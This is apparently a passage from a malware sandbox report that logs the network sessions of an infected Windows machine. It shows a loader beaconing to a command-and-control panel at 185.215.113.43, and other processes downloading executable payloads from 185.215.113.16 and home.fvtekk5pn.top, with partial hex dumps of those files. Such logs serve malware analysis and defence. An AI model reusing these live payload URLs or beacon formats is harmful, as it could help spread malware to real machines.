00 00 56 38 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +V8+`Ui` @ @.rsrc`2@.idata 8@idwitinvl:@mjfbzujg +@.taggant@@+"@
Nov 23, 2024 15:23:10.332307100 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:10.332323074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:10.332334995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:10.332382917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:10.332396030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:10.332407951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:10.332492113 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:10.332526922 CET	1236	IN	Data Raw: 12 25 ce 56 64 c9 e2 60 d4 c2 64 fd 82 bd 85 a3 ad fa e7 dc 7f a3 f3 f4 bc f6 32 fa 3d 78 16 ad 7c 8e 3f f6 be 61 cc b7 ed 09 16 bd fa 9a cf f5 96 a2 e1 3b a3 dc f4 b6 2e ff ad 40 af 94 a2 ae 82 66 e5 ee 23 35 cc 7e 61 a4 64 09 25 5b e1 7f 06 24 Data Ascii: %Vd`d2=x\|?a;.@f#5~ad%[$?=STunU)wR.~o3nt/6>EWtV.8cMMF]e)SCFW&%`a:R3Pc{qLkSS,`b'}}7'*{{OH`
Nov 23, 2024 15:23:10.332539082 CET	1236	IN	Data Raw: 1b b3 d3 95 75 3c d4 ec 66 65 d7 0c 6e 64 c9 ec df 43 d4 00 7e 40 e3 10 01 47 62 a4 7f 24 20 f9 3e 32 c5 8d 3a cf 84 3c 78 ec e1 a5 a5 e7 2d 62 0e a7 0d a4 e7 90 0c 06 7a 86 e0 ea f2 b7 d7 68 bd 41 d1 ff 4c a5 3d 01 bc 44 f1 cd 5e f3 ca 41 64 b6 Data Ascii: u<fendC~@Gb$ >2:<x-bzhAL=D^Ad_~G'4%heHo}>{BO1XVt2P77Z(&OGF25SPY.y<9hZi6ZX.1@u'p_,_r@NQ+
Nov 23, 2024 15:23:10.459604979 CET	1236	IN	Data Raw: b2 fc c4 57 6b 8f 90 45 ec 1a 6c 01 0f 6b ed 92 c5 0a 7f f7 12 76 c5 ec ff 04 a0 f5 53 0d 81 c4 5b 59 d9 f6 28 de 51 76 5a dc e7 30 54 fe 15 ef 1b 12 bb a9 dd 65 aa 97 58 1c f6 ad d0 7e 7a 3b 5d 37 3b ad 3d 7c cb 70 9b 51 40 b0 2d 6a 75 4b f0 0d Data Ascii: WkElkvS[Y(QvZ0TeX~z;]7;=\|pQ@-juKySSH%-S2(S_`Q*<hHy0Ar^3Yh}w@7gKxvmY;q0Pf20]FW#Y=7yC^Qx3T'IF'rkp,6S>X\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49983	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:13.305083036 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008456001&unit=246122658369
Nov 23, 2024 15:23:14.683906078 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49993	185.215.113.16	80	5292	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:16.011827946 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 23, 2024 15:23:17.388480902 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:17 GMT Content-Type: application/octet-stream Content-Length: 1985024 Last-Modified: Sat, 23 Nov 2024 13:21:52 GMT Connection: keep-alive ETag: "6741d6f0-1e4a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4e 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf N@PNt@WkD8NN @.rsrcD@.idata @ 0,@aokahsxj02.@zuglusupN$@.taggant0 N"(@
Nov 23, 2024 15:23:17.388531923 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:17.388545036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:17.388616085 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:17.388629913 CET	148	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:17.388709068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:17.388802052 CET	224	IN	Data Raw: 26 df ce 14 27 29 65 76 dd 8e 14 ff 26 32 08 03 e4 ee 14 4b 56 b3 30 17 89 ac d1 24 9b 9a 72 8a 49 3e 64 36 20 aa f6 3b 57 e2 12 35 a4 42 75 0b 15 bc 65 3b ef 92 29 43 44 7e c6 6d a7 ee 6c f6 f3 8e 27 2f 2f 6e 13 31 64 42 15 cb 27 33 9b c5 9f fe Data Ascii: &')ev&2KV0$rI>d6 ;W5Bue;)CD~ml'//n1dB'37n+k/`'KW$BVsn_BFFBk{LwOD%.Wx^i*ve\|'G_%E2g/{E&BNt/i&NwG;0Yg/s7ncV^
Nov 23, 2024 15:23:17.388814926 CET	1236	IN	Data Raw: 8b 46 b2 23 57 b5 66 e3 58 82 05 aa ab 8c c6 04 98 ad 16 43 5f c6 9a 27 42 1f d3 25 e7 e5 05 bb 0a aa 52 1b 6b 9e 2e 6a 64 e6 b2 6b 58 1c 2b a5 f7 cc 76 9f 44 e2 c9 05 a7 fe 45 be d5 6e 3c b3 76 ee da 0e 59 bf 67 cb 2f 33 d0 81 f7 f2 5e 04 26 1a Data Ascii: F#WfXC_'B%Rk.jdkX+vDEn<vYg/3^&D&}[imf9fgDFF@lw/kF'DLwNB6W0ideM&J97i.i5VgVIeI{gvOkigitc{WW15h%~g+,W
Nov 23, 2024 15:23:17.388838053 CET	1236	IN	Data Raw: d7 c2 eb 28 3b 26 05 95 f0 a6 d0 63 6d a3 5d b9 9b fe 60 e6 1b 5e 5b c8 68 f3 ce 35 3a 86 ac f6 69 cc 16 8f c3 41 6f bf 2a 4a ff 07 50 43 a6 fa a9 7e ae cb 24 a3 97 67 ba f1 bd e1 39 fe 69 12 b5 c6 29 68 2e f6 5f aa 97 97 59 31 97 c2 6c 08 5d 9d Data Ascii: (;&cm]`^[h5:iAo*JPC~$g9i)h._Y1l]/v_eCN#@&>&:ev4ET@05$h%mw8hRi{r_M>"&Q/-iK[TYv5aFy_% Tz%n76sOKfg2Vkug!
Nov 23, 2024 15:23:17.388853073 CET	1236	IN	Data Raw: 7b a4 54 98 5b b6 fe c8 e4 00 ab 47 72 a6 b7 17 82 b2 c4 78 4e 92 16 34 95 cf fe 21 71 6e 45 bb 92 78 be ab 8a 8d 97 75 c7 12 c5 36 e3 f2 10 6f dc ac 99 4f 29 18 8e 37 c5 2e 11 33 b6 c6 25 51 9c 9c 13 f0 17 c9 02 6b cb 51 26 09 ac cd a1 6d 07 cf Data Ascii: {T[GrxN4!qnExu6oO)7.3%QkQ&mJ.gk$&p#.oF+OvE(Ft_zs-p?;`@\|bK3+YHN4zGje?SZ(hWf5!7+EMGf
Nov 23, 2024 15:23:17.508496046 CET	1236	IN	Data Raw: f3 a0 6c ff ff fc 7c 0e 27 a8 67 ec 20 7b 73 ce f6 de 59 26 0c 43 cd 60 19 52 16 c4 16 cc 3a f8 5d ed ed 25 de 3e 30 68 05 80 56 19 65 7b 20 a5 66 bc 4e 68 8f 0d ae e2 a7 ce 14 22 2b eb 99 83 6f 34 55 aa 0f b4 12 e9 3b 41 70 32 f6 6c 43 25 12 bb Data Ascii: l\|'g {sY&C`R:]%>0hVe{ fNh"+o4U;Ap2lC%ois#ld8Z-&-6}$LySU`5R*[^]w~'w1Q_&i9oi``4\|"" y9+`4Chh'a6?s&;+0Mi^K;~GCKyM~,p]/ 'i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49996	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:16.416842937 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:23:17.831029892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49998	34.116.198.130	80	7912	C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:17.706974983 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 23, 2024 15:23:19.119182110 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 23 Nov 2024 14:23:18 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 23, 2024 15:23:19.119236946 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 23, 2024 15:23:19.119271040 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 23, 2024 15:23:19.119343042 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 23, 2024 15:23:19.119395971 CET	776	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
Nov 23, 2024 15:23:19.119435072 CET	1236	IN	Data Raw: fb f5 e0 1c 04 c9 78 b4 a0 79 3e 8c 6f 69 95 1c c9 72 b5 b0 e6 fb 54 c9 c0 3c 1a e1 a6 31 d1 0f 6c 0f 0f 85 ac e2 b0 b2 c7 c3 56 7b 7c 67 39 df d4 d8 77 79 a1 11 28 0b ae 1b dc 60 14 7d 17 44 e9 83 f7 8f dd 83 63 18 c6 7d 10 3a c3 26 1f c8 a9 34 Data Ascii: xy>oirT<1lV{\|g9wy(`}Dc}:&4(;'"1kzZpZ97~}<m{)F)O^Rh0r2^5n-h!`/=F:3V $?`S8PV(H0GFuA9`3g8;c*1#2Tf
Nov 23, 2024 15:23:19.119467974 CET	1236	IN	Data Raw: 00 72 3e f6 f7 54 25 f7 1d c0 95 14 90 7f 7d 58 7c 28 e3 12 6d ed 4d ed 8f 3a b7 07 70 d4 c0 68 0f c2 e9 27 a1 ad 3b 66 f8 e6 06 08 f6 97 76 36 20 d8 f8 1c 36 a3 4e c0 d1 1b f0 35 0b 74 5d 53 ce 7c 92 2e 3c 61 6f 59 02 52 f8 a6 42 d5 f1 62 dd 9f Data Ascii: r>T%}X\|(mM:ph';fv6 6N5t]S\|.<aoYRBb7VgfLh08uW_<u[:kh##2%dK5##uJ4Bn_~l(N~vZ\ `@K0azRtPD{%{a)0pD0o7i[w'A
Nov 23, 2024 15:23:19.119502068 CET	1236	IN	Data Raw: 39 04 39 79 da e6 00 ae aa a2 07 e7 bc 49 aa d1 5d cd 91 c5 aa 07 88 63 cf 61 81 8d e5 b0 0d e5 93 1b ca 3b a7 2f 7a af b5 3b c1 c1 1e 09 15 5e 3e b8 40 bd 27 9c 17 0c 49 b9 7f ab 4d 37 d4 a5 cd 9b d0 aa 1a d3 c0 e2 e8 17 f1 19 f2 66 4a 57 66 76 Data Ascii: 99yI]ca;/z;^>@'IM7fJWfvAIm2H}N\MwK`3Lg[/UJ1>{__1iB4F}ZExM94.uxmsDp^UZN'!Lji(V
Nov 23, 2024 15:23:19.119534016 CET	1236	IN	Data Raw: e6 ef 7a 01 4c 6a 15 3c 0f 62 bb bf 8b 54 2c bd de f4 05 20 5a ec 24 3a 37 f4 55 5a 34 8e 12 75 e9 4f 2e 0a 95 45 cc 01 f9 66 26 9c 60 7a 85 23 95 91 22 b7 82 1e 5d 5b 6d 18 b9 cb 6d 4a ae d8 90 d8 b0 34 be f7 9f 28 f3 a4 e1 74 3c 93 f3 15 d7 64 Data Ascii: zLj<bT, Z$:7UZ4uO.Ef&`z#"][mmJ4(t<d:TAGtNn)CD,p^i8V"Y=er>`QQ29_%q2/"MX(`OsTAt\@`xUFzMe(C-
Nov 23, 2024 15:23:19.119573116 CET	605	IN	Data Raw: 93 99 2e f1 0f 64 62 cc ee 57 41 66 2c 6e 3b 90 2c 15 48 64 e3 81 84 5e ed f5 9c 3e 83 42 a3 05 be 47 02 f2 87 c0 5c 51 8f 8b 49 d7 fd 29 87 db ff 67 c1 7c a7 f0 bc b8 ea b0 52 d4 a2 e0 d9 dc c0 9b 49 cd 19 53 7c 6a b3 3d 08 fa c1 1e 08 62 ad 40 Data Ascii: .dbWAf,n;,Hd^>BG\QI)g\|RIS\|j=b@//}{2Gf\|3U^h3H8l1p]Nq$`T>=[[&7+$?+yk9}3.x;FcQ,^I8&yL`KC{t#^<vm$
Nov 23, 2024 15:23:19.239176035 CET	1236	IN	Data Raw: 22 77 89 a9 7c e2 e9 09 22 73 87 7b bc 56 fb cc 68 b2 96 29 3f 52 c8 17 d3 67 62 77 39 55 fc a9 2d 8c 2e 91 e9 47 d8 42 6c 48 e5 be 15 b1 a6 48 f6 9b ef 7a 70 38 28 b6 3e 4b 1c 0d 87 aa 56 1a 26 97 c3 cf e8 5f 46 b5 03 a3 82 d2 c8 d1 6b 2b d7 d9 Data Ascii: "w\|"s{Vh)?Rgbw9U-.GBlHHzp8(>KV&_Fk+j0!\&YZ!jP= >KZ!8(V?AzgJ[;D5i+VY6@Ox'RVx\|JPdhlAO(&XyHv;q"'7%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50010	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:19.459290028 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:23:20.899851084 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50015	34.107.221.82	80	8000	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:20.169136047 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:23:21.302011013 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 27324 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:23:27.662921906 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:23:27.989527941 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 27330 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
